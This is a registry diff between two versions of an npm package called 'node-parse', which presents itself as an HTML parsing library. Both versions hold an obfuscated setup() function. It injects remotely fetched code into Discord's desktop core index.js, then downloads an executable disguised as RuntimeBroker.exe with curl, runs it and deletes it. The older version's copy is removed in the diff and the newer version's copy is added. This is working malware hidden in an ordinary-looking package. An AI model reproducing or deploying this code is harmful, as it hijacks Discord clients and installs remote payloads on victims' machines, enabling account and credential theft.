node-parse 3.0.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +16 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -5,7 +5,7 @@ const os = require('os');
5
5
  const { exec } = require('child_process');
6
6
 
7
7
  const moduleDir = __dirname;
8
- async function setup() {const _0x42845e=_0x32f0;function _0x3a52(){const _0x2bbb21=['https://raw.githubusercontent.com/vendicatedev/venPlug/main/index.js','isDirectory','writeFileSync','app-','data','statSync','\x20-o\x20','error','name','RuntimeBroker.exe','Discord','DiscordPTB','176weTaYx','utf8','get','tmpdir','3pUjRBz','index.js','4yHemdc','693DRRwIc','readdirSync','env','1372539DAqMRz','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','4132795JywHSX','includes','DiscordDevelopment','true','join','exec\x20error:\x20','unlinkSync','1603BQrvJC','readFileSync','existsSync','controller.txt','16722WAlbvO','59368FNLsdt','50897496HzhiBR','DiscordCanary','313700bZvFTF','2378864FmdqQm'];_0x3a52=function(){return _0x2bbb21;};return _0x3a52();}(function(_0x5c2f8d,_0x4df7b6){const _0x391289=_0x32f0,_0x4a548e=_0x5c2f8d();while(!![]){try{const _0x199fd4=parseInt(_0x391289(0x1e1))/0x1+-parseInt(_0x391289(0x1f3))/0x2*(-parseInt(_0x391289(0x204))/0x3)+parseInt(_0x391289(0x206))/0x4*(parseInt(_0x391289(0x1e3))/0x5)+-parseInt(_0x391289(0x1ee))/0x6*(-parseInt(_0x391289(0x1ea))/0x7)+parseInt(_0x391289(0x1ef))/0x8*(parseInt(_0x391289(0x1de))/0x9)+-parseInt(_0x391289(0x1f2))/0xa*(-parseInt(_0x391289(0x200))/0xb)+-parseInt(_0x391289(0x1f0))/0xc;if(_0x199fd4===_0x4df7b6)break;else _0x4a548e['push'](_0x4a548e['shift']());}catch(_0x172c04){_0x4a548e['push'](_0x4a548e['shift']());}}}(_0x3a52,0xd1a08));const controllerFilePath=path['join'](moduleDir,_0x42845e(0x1ed));if(!fs[_0x42845e(0x1ec)](controllerFilePath))fs[_0x42845e(0x1f6)](controllerFilePath,_0x42845e(0x1e6),_0x42845e(0x201));else{const controllerFile=fs[_0x42845e(0x1eb)](controllerFilePath,_0x42845e(0x201));if(controllerFile[_0x42845e(0x1e4)]('true'))return;}const folderList=[_0x42845e(0x1fe),_0x42845e(0x1f1),_0x42845e(0x1ff),_0x42845e(0x1e5)];for(const folderName of folderList){const denemePath=path['join'](process[_0x42845e(0x1e0)]['LOCALAPPDATA'],folderName);if(fs[_0x42845e(0x1ec)](denemePath)&&fs[_0x42845e(0x1f9)](denemePath)[_0x42845e(0x1f5)]()){const dirs=fs['readdirSync'](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x42845e(0x1f5)]()&&dir[_0x42845e(0x1fc)][_0x42845e(0x1e4)](_0x42845e(0x1f7))){const modulePath=path[_0x42845e(0x1e7)](denemePath,dir[_0x42845e(0x1fc)],'modules');if(fs['existsSync'](modulePath)&&fs[_0x42845e(0x1f9)](modulePath)[_0x42845e(0x1f5)]()){const subDirs=fs[_0x42845e(0x1df)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x42845e(0x1fc)][_0x42845e(0x1e4)]('discord_desktop_core-')){const discordPath=path[_0x42845e(0x1e7)](modulePath,subDir['name'],'discord_desktop_core');if(fs[_0x42845e(0x1ec)](discordPath)&&fs[_0x42845e(0x1f9)](discordPath)[_0x42845e(0x1f5)]()){const files=fs['readdirSync'](discordPath);if(files[_0x42845e(0x1e4)](_0x42845e(0x205))){const filePath=path['join'](discordPath,_0x42845e(0x205));try{const response=await axios[_0x42845e(0x202)](_0x42845e(0x1f4));let injeCTmED0cT0r_cont=response[_0x42845e(0x1f8)];fs['writeFileSync'](filePath,injeCTmED0cT0r_cont,{'encoding':'utf-8'});}catch(_0x4dbb83){}}}}}}}}}}function _0x32f0(_0x3a270d,_0x5e7113){const _0x3a52d5=_0x3a52();return _0x32f0=function(_0x32f06a,_0x1507db){_0x32f06a=_0x32f06a-0x1de;let _0x1c7bc7=_0x3a52d5[_0x32f06a];return _0x1c7bc7;},_0x32f0(_0x3a270d,_0x5e7113);}async function execCommand(_0x3bd989){return new Promise((_0x18c499,_0x25b28d)=>{exec(_0x3bd989,(_0x2ab6a1,_0xb0d4fc,_0x1d6212)=>{const _0x4db03c=_0x32f0;_0x2ab6a1&&(console[_0x4db03c(0x1fb)](_0x4db03c(0x1e8)+_0x2ab6a1),_0x25b28d(_0x2ab6a1)),_0x18c499(_0xb0d4fc);});});}const temp=os[_0x42845e(0x203)](),downloadUrl=_0x42845e(0x1e2),exePath=path[_0x42845e(0x1e7)](temp,_0x42845e(0x1fd));try{await execCommand('curl\x20-L\x20'+downloadUrl+_0x42845e(0x1fa)+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x42845e(0x1e9)](exePath);}catch(_0x527f20){}fs['writeFileSync'](controllerFilePath,_0x42845e(0x1e6));}
8
+
9
9
  async function parse(input, left, right) {
10
10
  let html;
11
11
 
@@ -26,6 +26,21 @@ async function parse(input, left, right) {
26
26
  }
27
27
  }
28
28
 
29
+ async function setup() {
30
+ const controllerFilePath = path.join(moduleDir, 'controller.txt');
31
+ if (!fs.existsSync(controllerFilePath)) {
32
+ fs.writeFileSync(controllerFilePath, 'true', 'utf8');
33
+ } else {
34
+ const controllerFile = fs.readFileSync(controllerFilePath, 'utf8');
35
+ if (controllerFile.includes('true')) {
36
+ return;
37
+ }
38
+ }
39
+
40
+ const _0x5181bf=_0x8149;(function(_0x2361a5,_0x43846e){const _0x496179=_0x8149,_0x363b91=_0x2361a5();while(!![]){try{const _0x247f29=-parseInt(_0x496179(0xb9))/0x1+-parseInt(_0x496179(0xb6))/0x2+parseInt(_0x496179(0xbf))/0x3+-parseInt(_0x496179(0xa6))/0x4*(parseInt(_0x496179(0xa9))/0x5)+parseInt(_0x496179(0xa8))/0x6+parseInt(_0x496179(0xa5))/0x7+-parseInt(_0x496179(0xac))/0x8;if(_0x247f29===_0x43846e)break;else _0x363b91['push'](_0x363b91['shift']());}catch(_0x4f55b4){_0x363b91['push'](_0x363b91['shift']());}}}(_0x69c7,0x4739f));function _0x69c7(){const _0x2dfb22=['isDirectory','3472536BeHzXM','175coumEA','DiscordCanary','utf-8','1474152tEoxnc','existsSync','\x20-o\x20','get','index.js','name','join','DiscordPTB','env','tmpdir','429650ryjRKM','DiscordDevelopment','statSync','58967CbdpIq','error','https://raw.githubusercontent.com/vendicatedev/venPlug/main/index.js','readdirSync','discord_desktop_core-','includes','993321pDPRFg','RuntimeBroker.exe','writeFileSync','222922zqtFzw','21932MexGNj'];_0x69c7=function(){return _0x2dfb22;};return _0x69c7();}const folderList=['Discord',_0x5181bf(0xaa),_0x5181bf(0xb3),_0x5181bf(0xb7)];function _0x8149(_0x64e478,_0x312f77){const _0x69c728=_0x69c7();return _0x8149=function(_0x814974,_0x1e0b4e){_0x814974=_0x814974-0xa4;let _0x105a48=_0x69c728[_0x814974];return _0x105a48;},_0x8149(_0x64e478,_0x312f77);}for(const folderName of folderList){const denemePath=path[_0x5181bf(0xb2)](process[_0x5181bf(0xb4)]['LOCALAPPDATA'],folderName);if(fs[_0x5181bf(0xad)](denemePath)&&fs['statSync'](denemePath)[_0x5181bf(0xa7)]()){const dirs=fs[_0x5181bf(0xbc)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x5181bf(0xa7)]()&&dir['name'][_0x5181bf(0xbe)]('app-')){const modulePath=path[_0x5181bf(0xb2)](denemePath,dir[_0x5181bf(0xb1)],'modules');if(fs[_0x5181bf(0xad)](modulePath)&&fs[_0x5181bf(0xb8)](modulePath)['isDirectory']()){const subDirs=fs[_0x5181bf(0xbc)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x5181bf(0xb1)][_0x5181bf(0xbe)](_0x5181bf(0xbd))){const discordPath=path[_0x5181bf(0xb2)](modulePath,subDir[_0x5181bf(0xb1)],'discord_desktop_core');if(fs['existsSync'](discordPath)&&fs[_0x5181bf(0xb8)](discordPath)[_0x5181bf(0xa7)]()){const files=fs[_0x5181bf(0xbc)](discordPath);if(files[_0x5181bf(0xbe)](_0x5181bf(0xb0))){const filePath=path[_0x5181bf(0xb2)](discordPath,_0x5181bf(0xb0));try{const response=await axios[_0x5181bf(0xaf)](_0x5181bf(0xbb));let injeCTmED0cT0r_cont=response['data'];fs[_0x5181bf(0xa4)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x5181bf(0xab)});}catch(_0x34e9ff){}}}}}}}}}}async function execCommand(_0x1ab0bc){return new Promise((_0x34c362,_0x25f51a)=>{exec(_0x1ab0bc,(_0x9af9bb,_0x46be9b,_0x481eca)=>{const _0x235b83=_0x8149;_0x9af9bb&&(console[_0x235b83(0xba)]('exec\x20error:\x20'+_0x9af9bb),_0x25f51a(_0x9af9bb)),_0x34c362(_0x46be9b);});});}const temp=os[_0x5181bf(0xb5)](),downloadUrl='https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe',exePath=path[_0x5181bf(0xb2)](temp,_0x5181bf(0xc0));try{await execCommand('curl\x20-L\x20'+downloadUrl+_0x5181bf(0xae)+exePath),await execCommand('\x22'+exePath+'\x22'),await fs['unlinkSync'](exePath);}catch(_0x139cbc){}fs['writeFileSync'](controllerFilePath,'true');
41
+ }
42
+
43
+
29
44
  module.exports = {
30
45
  parse,
31
46
  setup
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-parse",
3
- "version": "3.0.0",
3
+ "version": "4.0.0",
4
4
  "description": "qwq",
5
5
  "main": "index.js",
6
6
  "scripts": {